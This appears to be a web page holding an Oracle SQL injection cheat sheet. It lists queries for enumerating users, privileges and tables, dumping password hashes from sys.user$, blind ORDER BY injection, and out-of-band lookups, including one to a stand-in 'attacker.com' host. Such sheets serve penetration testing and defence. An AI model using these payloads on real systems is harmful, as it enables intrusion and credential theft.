Oracle SQL injection is a security vulnerability that arises in applications that use oracle DB as a database. By the use of vulnerability, an attacker can gain unauthorized access to stored information in the database. Below is the collection of SQL queries or keywords which can be used for the exploitation of oracle SQL injection.
Oracle SQL Injection Cheat Sheet
| Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments | SELECT 1 FROM dual—comment — NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — Privilege Required |
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. a status tells you if your account is locked SELECT name,spare4 FROM sys.user$ — Privilege Required, 11g |
| Password Cracker | Check these two tools to crack the DES-based hashes from Oracle 8, 9, and 10. Another tool. |
| List Privileges | SELECT * FROM session_privs; — current privilege SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — Privilege Required, list a user’s privilege SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — Privilege Required, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) — Also query TNS listener for other databases. |
| List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
| List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(‘1’ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow — Also see Heavy Queries to create a time delay |
| Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution | Javacan is used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. 🙁 |
| Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases | SYSTEM SYSAUX |
| Get all tablenames in one string | select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,’) from all_tables — when using union based SQLI with only one row |
| Blind SQLi in order by clause | order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same data type |
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